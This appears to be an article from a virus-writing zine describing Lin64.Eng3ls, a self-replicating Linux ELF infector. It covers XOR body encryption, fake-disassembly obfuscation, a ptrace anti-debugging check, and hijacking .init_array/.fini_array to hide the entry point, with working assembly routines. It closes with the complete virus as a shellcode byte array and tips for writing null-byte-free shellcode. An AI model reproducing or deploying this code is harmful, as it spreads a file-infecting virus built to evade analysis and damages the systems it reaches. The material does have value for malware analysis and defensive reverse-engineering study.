┌───────────────────────┐
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
│ █ █ █ █ █ █ │
│ █ █ █ █ █▀▀▀▀ │
│ █ █ █ █ ▄ │
│ ▄▄▄▄▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄ ▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄▄▄▄▄ │
│ █ │
Lin64.Eng3ls: Some anti-RE techniques in a Linux virus │ █ │
~ S01den & sblip └───────────────────█ ──┘
Written with love by S01den.
mail: S01den@protonmail.com
--- Introduction ---
With Sblip, we worked during a whole week-end on Lin64.Eng3ls for a private event.
Eng3ls is basically Lin64.Kropotkine[0], the infection method is still the same good
old PT_NOTE to PT_LOAD segment, but we added some obfuscation techniques.
Indeed, Kropotkin isn't stealth at all: the entrypoint of infected binaries is
modified to directly point to the virus and the viral code is clear (so easy to
analyse...).
To solve these problems, we made a oligomorphic xor decryptor/encryptor (not fancy at
all I know...) for the virus body, the key changing in every new infected binary so
that every replicated code is different.
However this poor man's polymorphism has the great disavantage that the decryptor's
code doesn't change.
Thus, without more witchcraft, a reverser would understand very quickly how the
virus is encrypted, and what it does.
That's why I've implemented for the first time in one of my virus, the polymorphic
false-disassembly technique (or simply "fake polymorphism") in order to obfuscate
the decryptor.
Check the paper I wrote about this technique to see how it works and the results!
(basically turn the page of the zine)
But there was still a problem: the entrypoint of infected binaries directly points
to the virus, that's not stealth at all!
Let's see how we've solved this...
--- An Entry-Point Obscuring Technique for ELF ---
/!\ This technique doesn't work with PIE binaries /!\
Entrypoint Obscuring is simply the action, for a virus, to hide the address of it's
first instruction.
In non-EPO viruses, the entrypoint of an infected program is modified to point to
the beginning of the virus, whereas in EPO viruses, the virus is called in another
way, whether by hiding a jump in the host's code or by, like here, abusing a
specificity of the executable file format.
In ELFs the entrypoint is, in fact, not the first address to be executed when the
program is run.
There is some glibc initialization routines, which ultimately load main().
I won't explain in details how it works, there is already a cool paper about[1].
Just keep in mind that we'll hijack the sections .init_array and .fini_array, which
respectively contains a pointer to the constructor and a pointer to the destructor
of the binary.
Thus, the address of the code located in .init_array is executed before the
EntryPoint. That's exactly the kind of thing we wanted to have!
I chose to implement a tiny anti-debugging technique first, a ptrace check to see if
the current process is traced (so debugged or straced) or not.
The classical "if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) exit(0);"...
Easy to bypass (patch the virus or set rax = 0 in gdb at the comparaison)...
So I made it "hard" (not really) to detect!
------------------------- CUT-HERE --------------------------------------------------
check_dbg:
push rbp
mov rbp, rsp
jmp jmp_over4+2
jmp_over4:
db `\x41\xba` ; false disassembly
mov rax, 101 ; sys_ptrace
xor rdi, rdi ; PTRACE_TRACEME
xor rsi, rsi
xor r10, r10
xor rdx, rdx
inc rdx
jmp jmp_over6+2
jmp_over6:
db `\xe9\x94` ; false disassembly
syscall
jmp jmp_over5+2
jmp_over5:
db `\x49\x81` ; false disassembly
cmp rax, 0
jge continue
mov rax, 60
xor rdi, rdi
syscall
continue:
pop rbp
ret
-------------------------------------------------------------------------------------
I wrote some false-disassembly bytes (changing at ever new infection) in the routine
and I made it called before main() by abusing .init_array.
Thus, if debugged, the virus stops its execution, even with a breakpoint on the
entrypoint.
Concerning the virus in itself, I made it called at the end, by abusing .fini_array.
Here is the routines I wrote for parsing the section header table in the search
of .init_array and .fini_array, and for patching them.
------------------------- CUT-HERE --------------------------------------------------
parse_shdr:
xor rcx, rcx
xor rdx, rdx
mov cx, word [rax+e_hdr.shnum] ; rcx = # of entries in the program header table
mov rbx, qword [rax+e_hdr.shoff] ; rbx = offset of the program header table
mov dx, word [rax+e_hdr.shentsize] ; rdx = size of a program header table entry
loop_shdr:
add rbx, rdx
dec rcx
cmp dword [rax+rbx+e_shdr.type], 0x0E ; 0x0F = SHT_INIT_ARRAY, the section we're
; looking to modify to put the debugging
; check (.init_array)
je ctor_found
cmp dword [rax+rbx+e_shdr.type], 0x0F ; 0x0F = SHT_FINI_ARRAY, the section we're
; looking to modify to EPO (.fini_array)
je dtor_found
cmp rcx, 0
jg loop_shdr
dtor_found:
mov rdi, qword [rax+rbx+e_shdr.offset]
mov [rax+rdi], r9 ; r9 holds the addr of the converted segment, the one where we
; are writing the virus
jmp write_vx
ctor_found:
mov rdi, qword [rax+rbx+e_shdr.offset]
add r9, 0x86 ; r9+0x86 = the addr where check_dbg begins
mov [rax+rdi], r9
sub r9, 0x86
jmp loop_shdr
-------------------------------------------------------------------------------------
--- Conclusion ---
Entrypoint modification is lame, use EntryPoint Obscuring tricks such as .init_array
or .fini_array hijacking instead.
Add some funny anti-RE tricks to spice your viruses: a pinch of encryption here, a
spoonful of debugger detection over there...
I hope you enjoyed this article and that you learned something.
If you want to go further, I wrote a crackme using the same anti-reverse-engineering
techniques that eng3ls uses.
Check that here: https://crackmes.one/crackme/6049f27f33c5d42c3d016dea
--- Bonus ---
I wrote a null-byte free version of this virus.
Null-byte free code + Position Independent = shellcode \o/
So here is a shellcode version of the virus:
unsigned char shellcode[] =
"\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc9\x4d"
"\x31\xc0\x49\x89\xe6\x48\x81\xc4\xe8\xc3\x11\x11\x48\x81\xec\xde"
"\xc0\x11\x11\x49\x89\xe7\xeb\x7c\x58\x48\x2d\x87\xc1\x11\x11\x48"
"\x05\xde\xc0\x11\x11\x50\x41\x5c\x68\xe8\xc3\x11\x11\x5e\x48\x81"
"\xee\xde\xc0\x11\x11\x48\x81\xc6\xe8\xc3\x11\x11\x48\x81\xee\xde"
"\xc0\x11\x11\x48\x31\xff\x6a\x07\x5a\x6a\x22\x41\x5a\x6a\x09\x58"
"\x0f\x05\x48\x89\xc3\x56\x59\xb0\x54\x48\x31\xd2\x41\x8a\x14\x3c"
"\x48\x81\xc7\xde\xc0\x11\x11\x48\x81\xff\x86\xc1\x11\x11\x76\x02"
"\x30\xc2\x48\x81\xef\xde\xc0\x11\x11\x88\x14\x3b\x48\xff\xc7\xe2"
"\xdb\x49\x89\xdf\x48\x81\xc3\x87\xc1\x11\x11\x48\x81\xeb\xde\xc0"
"\x11\x11\xff\xe3\xe8\x7f\xff\xff\xff\x1c\xd5\x90\x5e\x57\x54\x54"
"\x1c\xd5\x90\x5e\x57\x54\x54\x1c\xd5\x90\x54\x55\x54\x54\xbd\x6b"
"\x56\x54\x54\x0b\xec\x56\x54\x54\x54\x1c\x65\xa2\x5b\x51\x1c\xdd"
"\x93\xec\x8d\x54\x54\x54\x1c\xdd\xb2\xee\x54\x50\x54\x54\x5b\x51"
"\x1c\xd7\xac\x54\x5b\xd8\xb1\x55\x54\x54\x1d\xdd\x91\x1c\x65\x8f"
"\x1c\xdd\xb4\x1c\xd7\x94\x47\x1c\xdd\x92\xeb\x55\x54\x54\x54\x1c"
"\x65\x9d\xde\x18\x70\x46\x07\xbc\x42\x54\x54\x54\x0f\x32\xdf\x10"
"\x70\x44\x1c\x55\x97\x1c\x55\x90\x18\x6d\xbf\x28\x87\xbd\xf9\x55"
"\x54\x54\x1c\xdd\xb1\x1c\xd7\xad\x5c\x21\x05\x1c\xdd\xa3\xec\x56"
"\x54\x54\x54\xea\x56\x50\x54\x54\x5b\x51\x1c\xd7\xac\x54\x2a\x68"
"\x1c\xdd\x97\x1c\xdd\xb2\x18\x7d\xba\xec\x50\x54\x54\x54\x5b\x51"
"\x1d\xdd\x8c\x1c\xdf\x22\x64\xeb\x54\x54\x54\x54\xee\x52\x54\x54"
"\x54\x19\x65\x9d\x15\xee\x55\x54\x54\x54\x1c\x65\x94\xec\x5d\x54"
"\x54\x54\x5b\x51\xd5\x6c\x2b\x11\x18\x12\x20\x45\xec\x57\x54\x54"
"\x54\x1c\xdd\x8b\x5b\x51\x1c\x65\x94\x1c\xdd\xb8\x97\xd4\x2c\x50"
"\x56\x20\x56\xbf\xb3\x32\xd7\x2c\x44\x56\x20\x56\xbf\x8a\xd5\x2c"
"\x5d\x8a\x94\xf9\x8a\x21\x53\x1c\x65\x94\x1c\xdd\xb8\x97\x1c\x65"
"\x9d\x1c\x65\x86\x32\xdf\x1c\x6c\x1c\xdf\x0c\x74\x32\xdf\x04\x62"
"\x1c\x55\x87\x1c\xab\x9d\xd7\x68\x4c\x50\x20\x52\x1c\xd7\xad\x54"
"\x2b\xba\x93\x14\x5d\x8a\x94\xf9\x8a\x93\x50\x4c\x55\x54\x54\x54"
"\x93\x10\x4c\x50\x53\x54\x54\x54\x15\xed\x54\x54\x54\x58\x1d\x55"
"\xa5\x18\xdd\x18\x4c\x44\x1c\xdf\x28\x4c\x74\x1c\xd5\x93\x5e\x57"
"\x54\x54\x1c\xdd\x28\x4c\x74\x1c\xdf\x28\x4c\x7c\x1c\xd5\x93\x5e"
"\x57\x54\x54\x1c\xdd\x28\x4c\x7c\x1c\xdd\x20\x4c\x5c\x1c\x65\x9d"
"\x1c\x65\x86\x32\xdf\x1c\x68\x1c\xdf\x0c\x7c\x32\xdf\x04\x6e\x1c"
"\x55\x87\x1c\xab\x9d\xd7\x28\x4c\x50\x5b\x20\x52\x1c\xd7\xad\x54"
"\x2b\xb9\x1c\xdf\x28\x4c\x4c\x18\xdd\x58\x6c\xee\x50\x54\x54\x54"
"\x1c\xdd\x93\xec\x4e\x54\x54\x54\x5b\x51\xec\x5f\x54\x54\x54\x5b"
"\x51\x5b\x65\x32\x61\xf9\x8a\x15\xde\x1b\x3c\x15\xdc\x13\x3c\x1c"
"\x65\x86\x1c\x65\x8f\x15\xde\x48\x43\x15\xdc\xc8\x43\x5e\x57\x54"
"\x54\x1c\xab\x96\x1c\xd5\xae\xfd\x54\x54\x54\x21\xbc\x15\xde\x48"
"\x43\x64\x97\x15\xdc\xc8\x43\x5e\x57\x54\x54\x1c\xab\x96\x1c\xd5"
"\xae\x5e\x57\x54\x54\x21\xb2\x18\xdd\x93\x18\xdd\xaa\x1c\xd5\x92"
"\x5e\x57\x54\x54\xee\x5e\x57\x54\x54\x1c\xd7\x96\x7a\xec\x55\x54"
"\x54\x54\x5b\x51\xec\x57\x54\x54\x54\x5b\x51\x1c\xdd\xb8\x97\xec"
"\x55\x54\x54\x54\x1c\x65\xab\x1c\xab\x93\x3c\x5e\x0c\x0b\x0c\x1c"
"\xdd\xb2\xee\x50\x54\x54\x54\x5b\x51\xec\x68\x54\x54\x54\x5b\x51"
"\x1c\x65\x9d\x1c\x65\x8f\x1c\x65\x94\x1c\x65\x86\x97\x1c\xdf\x50"
"\x70\x97\xbc\xe8\xa9\xab\xab\x7a\x54\x54";
Don't be stupid, don't spread this shit into the wild.
We don t take responsibility for what you do with this
--> two techniques to write nullbytes-free codes:
1) Replace mov instructions by push.
Example:
b809000000 mov eax, 9 ----> 6a09 push 0x9
58 pop rax
2) The add/sub technique:
Sometimes the values you add to a register involves nullbytes.
You can remove them by adding and subbing a garbage value.
Example:
4881c4890300 add rsp, 0x389 ----> 4881c4e8c311 add rsp, 0x1111c3e8
^ // 0x1111c3e8 = 0x389 + 0x1111c0de
4881ecdec011 sub rsp, 0x1111c0de
--- Notes and References ---
[0] https://github.com/vxunderground/MalwareSourceCode
/blob/main/VXUG/Linux.Kropotkine.asm
[1] Abusing .CTORS and .DTORS for fun 'n profit
https://www.exploit-db.com/papers/13234
--- Source ---
- Linux.Eng3ls.asm